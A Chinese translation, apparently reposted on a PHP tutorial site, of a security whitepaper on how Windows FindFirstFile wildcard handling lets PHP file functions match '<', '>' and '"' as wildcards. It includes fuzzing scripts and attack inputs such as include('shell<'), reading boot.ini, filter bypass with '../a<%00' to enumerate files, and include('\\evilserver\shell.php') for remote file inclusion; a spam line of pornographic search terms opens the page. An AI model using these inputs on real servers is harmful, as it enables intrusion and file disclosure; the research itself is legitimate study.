欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

windows的文件系統(tǒng)機制引發(fā)的PHP路徑爆破問題分析

 更新時間:2014年07月28日 10:22:17   投稿:hebedich  
這篇文章主要介紹了windows的文件系統(tǒng)機制引發(fā)的PHP路徑爆破問題分析,需要的朋友可以參考下

1.開場白

此次所披露的是以下網(wǎng)頁中提出的問題所取得的測試結(jié)果:
http://code.google.com/p/pasc2at/wiki/SimplifiedChinese

<?php
for ($i=0; $i<255; $i++) {
$url = '1.ph' . chr($i);
$tmp = @file_get_contents($url);
if (!empty($tmp)) echo chr($i) . "\r\n";
}
?>

已知1.php存在,以上腳本訪問的結(jié)果是:

1.php
1.phP
1.ph<
1.ph>

都能得到返回。
前兩種能返回結(jié)果是總所周知的(因為windows的文件系統(tǒng)支持大小的互轉(zhuǎn)的機制),另外的兩種返回引起了我們的注意。
測試php版本:PHP4.9,PHP5.2,PHP5.3,PHP6.0
測試系統(tǒng):WINXP SP3 X32,WINXP SP2 X64,WIN7,WIN2K3
經(jīng)測試我們得出的結(jié)論是:該漏洞影響所有的windows+php版本 

2.深入探查模糊測試的結(jié)果

為了繼續(xù)深入探查關(guān)于該bug的信息,我們對demo做了些許修改:

<?php
for ($j=0; $i<256; $j++) {
for ($i=0; $i<256; $i++) {
$url = '1.p' . chr($j) . chr($i);
$tmp = @file_get_contents($url);
if (!empty($tmp)) echo chr($j) . chr($i) . "\r\n";
}
}
?>

在調(diào)試php解釋器的過程中,我們將此“神奇”的漏洞歸結(jié)為一個Winapi 函數(shù)FindFirstFile()所產(chǎn)生的結(jié)果(http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx).更好玩的是,當(dāng)跟蹤函數(shù)調(diào)用棧的過程中我們發(fā)現(xiàn)字符”>”被替換成”?”,字符”<”被替換成”*”,而符號”(雙引號)被替換成一個”.”字符。這在2007年msdn公開的文檔中被提及:http://msdn.microsoft.com/en-us/library/community/history/aa364418%28v=vs.85%29.aspx?id=3
但是此bug至今未被任何windows旗下所發(fā)行的任何版本修復(fù)!
我們要闡明的是,該函數(shù)FindFirstFile()在php下的運用遠(yuǎn)遠(yuǎn)不至于file_get_contents().關(guān)于該bug可以利用的函數(shù)我們已經(jīng)列了如下一表:


 
此外,我們還發(fā)現(xiàn)該利用也可以被運用到c++中,以下采用來自msdn的例子:

#include <windows.h>
#include <tchar.h>
#include <stdio.h>
void _tmain(int argc, TCHAR *argv[])
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
if( argc != 2 )
{
_tprintf(TEXT("Usage: %s [target_file]\n"), argv[0]);
return;
}
_tprintf (TEXT("Target file is %s\n"), argv[1]);
hFind = FindFirstFile(argv[1], &FindFileData);
if (hFind == INVALID_HANDLE_VALUE)
{
printf ("FindFirstFile failed (%d)\n", GetLastError());
return;
}
else
{
_tprintf (TEXT("The first file found is %s\n"),
FindFileData.cFileName);
FindClose(hFind);
}
}

當(dāng)傳入?yún)?shù)”c:\bo<”時,成功訪問到boot.ini文件。

3.利用方法總結(jié)

當(dāng)調(diào)用FindFirstFile()函數(shù)時,”<”被替換成”*”,這意味該規(guī)則可以使”<”替換多個任意字符,但是測試中發(fā)現(xiàn)并不是所有情況都如我們所愿。所以,為了確保能夠使”<”被替換成”*”,應(yīng)當(dāng)采用”<<”
EXAMPLE:include(‘shell<');  或者include(‘shell<<');    //當(dāng)文件夾中超過一個以shell打頭的文件時,該執(zhí)行取按字母表排序后的第一個文件。
當(dāng)調(diào)用FindFirstFile()函數(shù)時,”>”被替換成”?”,這意味這”>”可以替換單個任意字符
EXAMPLE:include(‘shell.p>p');    //當(dāng)文件中超過一個以shell.p?p 通配時,該執(zhí)行取按字母表排序后的第一個文件。
當(dāng)調(diào)用FindFirstFile()函數(shù)時,”””(雙引號)被替換成”.”
EXAMPLE:include(‘shell”php');    //===>include(‘shell.php');
如果文件名第一個字符是”.”的話,讀取時可以忽略之
EXAMPLE:fopen(‘.htacess');  //==>fopen(‘htacess');   //加上第一點中的利用 ==>fopen(‘h<<');
文件名末尾可以加上一系列的/或者\的合集,你也可以在/或者\中間加上.字符,只要確保最后一位為”.”
EXAMPLE:fopen(“config.ini\\.// \/\/\/.”);==>  fopen(‘config.ini\./.\.'); ==>fopen(‘config.ini/////.')==>fopen(‘config.ini…..')   //譯者注:此處的利用我不是很理解,有何作用?截斷?
該函數(shù)也可以調(diào)用以”\\”打頭的網(wǎng)絡(luò)共享文件,當(dāng)然這會耗費不短的時間。補充一點,如果共享名不存在時,該文件操作將會額外耗費4秒鐘的時間,并可能觸發(fā)時間響應(yīng)機制以及max_execution_time拋錯。所幸的是,該利用可以用來繞過allow_url_fopen=Off 并最終導(dǎo)致一個RFI(遠(yuǎn)程文件包含)
EXAMPLE:include (‘\\evilserver\shell.php');
用以下方法還可以切換文件的盤名
include(‘\\.\C:\my\file.php\..\..\..\D:\anotherfile.php');
選擇磁盤命名語法可以用來繞過斜線字符過濾
file_get_contents(‘C:boot.ini'); //==>  file_get_contents (‘C:/boot.ini');
在php的命令行環(huán)境下(php.exe),關(guān)于系統(tǒng)保留名文件的利用細(xì)節(jié)
EXAMPLE:file_get_contents(‘C:/tmp/con.jpg'); //此舉將會無休無止地從CON設(shè)備讀取0字節(jié),直到遇到eof
EXAMPLE:file_put_contents(‘C:/tmp/con.jpg',chr(0×07));  //此舉將會不斷地使服務(wù)器發(fā)出類似嗶嗶的聲音

4.更深入的利用方法

除了以上已經(jīng)展示的方法,你可以用下面的姿勢來繞過WAF或者文件名過濾
請思考該例:

<?php
file_get_contents("/images/".$_GET['a'].".jpg");
//or another function from Table 1, i.e. include().
?>

訪問test.php?a=../a<%00
可能出現(xiàn)兩種結(jié)果

Warning: include(/images/../a<) [function.include]: failed to open stream:Invalid argument in。。。
Warning: include(/images/../a<) [function.include]: failed to open stream:Permission denied。。

如果是第一種情況,說明不存在a打頭的文件,第二種則存在。
 
此外,有記錄顯示,有時網(wǎng)站會拋出如下錯誤:

Warning: include(/admin_h1d3) [function.include]: failed to open stream: Permission denied..

這說明該文件夾下存在一個以上以a打頭的文件(夾),并且第一個就是admin_h1d3。

5.結(jié)論
實驗告訴我們,php本身沒有那么多的漏洞,我們所看到是:過分的依賴于另一種程序語言(注:如文中的漏洞產(chǎn)自與winapi的一個BUG),并且直接強 制使用,將會導(dǎo)致細(xì)微的錯誤(bug),并最終造成危害(vul).這樣便拓寬了模糊測試的范疇(譯者注:并不僅僅去研究web層面,而深入到系統(tǒng)底層),并最終導(dǎo)致IDS,IPS的規(guī)則更新。誠然,代碼需要保護(hù),需要補丁,需要升級與擴(kuò)充。但是,這并不是我們真正要去關(guān)注的問題。在當(dāng)下,我認(rèn)為我們 更謹(jǐn)慎地去書寫更多更嚴(yán)厲的過濾規(guī)則,正如我們一直在做的一樣。任重道遠(yuǎn),精益求精。
因為這是基礎(chǔ)應(yīng)用層的問題,所以我們猜想類似的問題可能出現(xiàn)在其他web應(yīng)用中。于是我們還測試了mysql5,而實驗結(jié)果表明,mysql5并不存在類似的漏洞。但是我們?nèi)哉J(rèn)為:類似的漏洞將會出現(xiàn)在諸如Perl、Python、Ruby等解釋性語言上。

6.Referer

PHP application source code audits advanced technology:
http://code.google.com/p/pasc2at/wiki/SimplifiedChinese
MSDN FindFirstFile Function reference:
http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx
MSDN comments history:
http://msdn.microsoft.com/en-us/library/community/history/aa364418(v=vs.85).aspx?id=3
MSDN article «Naming Files, Paths, and Namespaces»:
http://msdn.microsoft.com/en-us/library/aa365247(v=vs.85).aspx
Technet article «Managing Files and Directories»:
http://technet.microsoft.com/en-us/library/cc722482.aspx
Paper «Technique of quick exploitation of 2blind SQL Injection»:
http://www.exploit-db.com/papers/13696/

 ==================================================================
全文完。
注:該文是2011年底發(fā)表的一篇白皮書,至今該bug依然存在。我在幾個月前做CUIT的一個CTF時偶遇了一道該bug的利用,當(dāng)時便是看的此文,當(dāng)時只是粗粗讀了一下,寫了一個php的腳本去跑目錄。今回閑來無事,翻譯整理了一番。

相關(guān)文章

  • thinkphp ajaxfileupload實現(xiàn)異步上傳圖片的示例

    thinkphp ajaxfileupload實現(xiàn)異步上傳圖片的示例

    本篇文章主要介紹了thinkphp ajaxfileupload實現(xiàn)異步上傳圖片的示例,具有一定的參考價值,有興趣的可以了解一下
    2017-08-08
  • ThinkPHP6.0前置、后置中間件區(qū)別

    ThinkPHP6.0前置、后置中間件區(qū)別

    中間件的主要應(yīng)用場景可以包括對HTTP請求的數(shù)據(jù)過濾、權(quán)限檢測、請求攔截等行為,本文主要介紹了ThinkPHP6.0前置、后置中間件區(qū)別,具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2021-12-12
  • Smarty高級應(yīng)用之緩存操作技巧分析

    Smarty高級應(yīng)用之緩存操作技巧分析

    這篇文章主要介紹了Smarty高級應(yīng)用之緩存操作技巧,結(jié)合實例形式分析了Smarty緩存使用的相關(guān)技巧與注意事項,需要的朋友可以參考下
    2016-05-05
  • ThinkPHP5&5.1框架關(guān)聯(lián)模型分頁操作示例

    ThinkPHP5&5.1框架關(guān)聯(lián)模型分頁操作示例

    這篇文章主要介紹了ThinkPHP5&5.1框架關(guān)聯(lián)模型分頁操作,結(jié)合實例形式分析了thinkPHP5、5.1關(guān)聯(lián)模型的建立、控制器、模型的實現(xiàn)及分頁操作相關(guān)技巧,需要的朋友可以參考下
    2019-08-08
  • 淺談Laravel中的三種中間件的作用

    淺談Laravel中的三種中間件的作用

    今天小編就為大家分享一篇淺談Laravel中的三種中間件的作用,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2019-10-10
  • php在線代理轉(zhuǎn)向代碼

    php在線代理轉(zhuǎn)向代碼

    這個代碼不是自己實現(xiàn)代理的功能 只是將輸入的Url進(jìn)行簡單的處理之后轉(zhuǎn)向一個代理網(wǎng)站,速度不錯
    2012-05-05
  • Laravel實現(xiàn)表單提交

    Laravel實現(xiàn)表單提交

    本文給大家分享的是在使用laravel過程中如何實現(xiàn)表單提交的一個簡單示例,非常簡單,這里推薦給學(xué)習(xí)laravel的小伙伴
    2017-05-05
  • Yii2語言國際化自動配置詳解

    Yii2語言國際化自動配置詳解

    這篇文章主要介紹了Yii2語言國際化自動配置詳解,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2018-08-08
  • php中smarty區(qū)域循環(huán)的方法

    php中smarty區(qū)域循環(huán)的方法

    這篇文章主要介紹了php中smarty區(qū)域循環(huán)的方法,實例分析了smarty中foreach循環(huán)與section循環(huán)的使用技巧,需要的朋友可以參考下
    2015-06-06
  • 在VS?Code?中調(diào)試遠(yuǎn)程服務(wù)器的PHP代碼詳解

    在VS?Code?中調(diào)試遠(yuǎn)程服務(wù)器的PHP代碼詳解

    這篇文章主要介紹了在VSCode中調(diào)試遠(yuǎn)程服務(wù)器的PHP代碼,這里通過xdebug配合vscode的php?debug插件來實現(xiàn),本文結(jié)合實例代碼介紹的非常詳細(xì),需要的朋友可以參考下
    2023-07-07

最新評論